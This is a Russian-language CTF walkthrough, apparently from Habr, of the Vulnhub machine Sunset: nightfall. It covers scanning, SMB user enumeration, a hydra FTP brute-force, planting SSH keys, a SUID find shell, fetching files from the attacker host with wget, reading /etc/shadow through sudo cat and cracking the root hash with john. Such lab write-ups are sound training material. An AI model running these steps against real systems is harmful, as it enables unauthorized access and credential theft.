Vulnhub. Прохождение Sunset: nightfall

Сегодня в нашем прохождении серии Sunset следующая коробочка — nightfall.

7g3kejxd7lygwpxfe9fjuyxpswq.png
Автор: whitecr0wz

И как обычно мы начинаем с определения IP-адреса.

netdiscover


IP нашей машины будет 192.168.1.106.

Сканирование


Просканируем все порты

nmap -p- 192.168.1.106


Просканировав все порты, мы видим, что у нас открыты 21, 22, 80, 129, 445 и 3306 порты. Просканируем их с помощью Nmap командой

nmap -p21,22,80,129,445,3306 -sC -sV -oN nightfall 192.168.1.106 


0oplngnfopupkfgrdy4uug5th1m.png

Поиск точки входа


Пойдем по порядку и попробуем подключиться по ftp с логином и паролем anonymous: anonymous, но у нас ничего не выходит.

8kkmt9-pdbnvwuokas0ggifljha.png

Для подключения по ssh нам нужен пароль или ключ, на сайте (80 порт) также ничего интересно, ну и для подключения к mysql тоже нужны креды. Остались порты на которых крутится smb. В этот раз будем использовать enum4linux, так как smbmap ничего полезного нам не сказал.

enum4linux -a 192.168.1.106


Вывод этой тулзы слишком «мусорный», поэтому я выделю только самое главное, что она нашла имена пользователей.

mc-mh8fso1oysdv5mcig8pcksrs.png

Пользователь 1


Судя по всему, у нас не остается большого выбора, кроме как сбрутить пароль к пользователю. Будем брутить ftp, так как к нему пароль сбрутить быстрее, чем к ssh. Для этого воспользуемся гидрой

hydra -l matt -p /usr/share/wordlists/rockyou.txt -t 64 ftp://192.168.1.106 -v


irzokr8dhff4ujy4jzbkaa-cz_8.png

Опцией -l мы определили имя пользователя, -P словарь с паролями, -t количество потоков и -v отображение текущего статуса.
И гидра нас не подводит подобрав пароль для пользователя matt: cheese.
Подключаемся к машине по ftp с имеющимися кредами

ftp 192.168.1.106


upky3hnlhyaf274oeus0x5wnubc.png

И вот мы в домашней папке пользователя matt. Мы видим папку .ssh, значит можно загрузить свой ключ и получить доступ через ssh. Генерируем пару ключей

ssh-keygen


-xfriz0mmwslktobj8m1xub33hk.png

На выходе у нас будет 2 файла, я назвал их matt и в итоге у нас есть matt.pub и matt.
В matt.pub лежит открытый ключ, читаем файл или копируем его с названием authorized_keys и загружаем в папку c помощью команды put и подключаемся по ssh.

ssh -i matt matt@192.168.1.106


Опцией -i мы определили закрытый ключ для подключения к пользователю.
И вот мы внутри, давайте воспользуемся невероятным скриптом для поиска возможности повышения привилегий для линукса. Для этого поднимем питоновский сервер в папке, где лежит скрипт, и, скачав его на машину, сделаем исполняемым и запустим.

python3 -m http.server 80
chmod +x linpeas.sh
sh linpeas.sh


Скрипт говорит, что есть какой-то странный бинарник, давайте попробуем получить шелл.

_bhghykzurxugokkl5l9evt0x7c.png

Заходим на GTFObins и смотрим команду для получения шелла через find

xpq0mvkcnfrhap6bjfjor__m21k.png
Немного сокращаем команду, у нас появляется шелл (опцию –exec, как можно догадаться, мы использовали для исполнения команды). Видим, что у нашего процесса (шелла) есть права доступа пользователя nightfall, и мы включены в группу. Так давайте это и используем.

ucy0_loaiqtzbakstzbukx3cqq4.png

Пользователь 2


Я тут попробовал сделать шелл более интерактивным, но как-то не получилось. В любом случае удобнее будет работать через ssh, так что генерируем еще пару ключей. Как и для пользователя matt поднимаем питоновский сервер и скачиваем на целевую машину

ssh-keygen
python3 -m http.server


На целевой машине

wget http://192.168.1.68:8000/authorized_keys


uymvy6tgfvvcorzpt65ivwqbabu.png

Наш открытый ключ успешно скачан, можно подключаться по ssh

ssh -i nfall nightfall@192.168.1.106


bncx9itj-n4zz0gelxkjvm0_xzc.png

Повышение привилегий


Я сразу решил проверить права пользователя на выполнение команд от имени root

sudo -l


И нам говорят, что мы можем читать все на целевой системе командой cat. Нам ничего не остается кроме как прочитать файл с хешами паролей /etc/shadow

sudo cat /etc/shadow


uvgylcw7xmykvcdqjlympii43wi.png

Вот у нас есть несколько хешей, давайте крякнем их. Создаем файл и копируем туда строчки с хешами, а затем зовем нашего друга Джона

john --wordlist=/usr/share/wordlists/rockyou.txt hashes


b1bd3cpfmkbyjbxf1jgy4q74nii.png

Джон как всегда нас не подводит и говорит, что у пользователя root пароль miguel2, теперь мы можем повысится до root’а, используя полученный пароль

su -


vhkyusxlqvxeyxp7z95bbqyyphs.png

И вот мы повысились до root’a, и в конце нас ждет такой симпатичный флаг

finegpdu-p7gcvw4fua16tjnbso.png

Это был пример одной из ctf’ных коробок, простой как для взлома, так и для понимания. Хоть это и ctf задание, но в реальности все равно остаются машины с подобными конфигурациями, что может привести к печальным последствиям.

Другие части прохождения машин Sunset:

Sunset: 1
Sunset: dawn

© Habrahabr.ru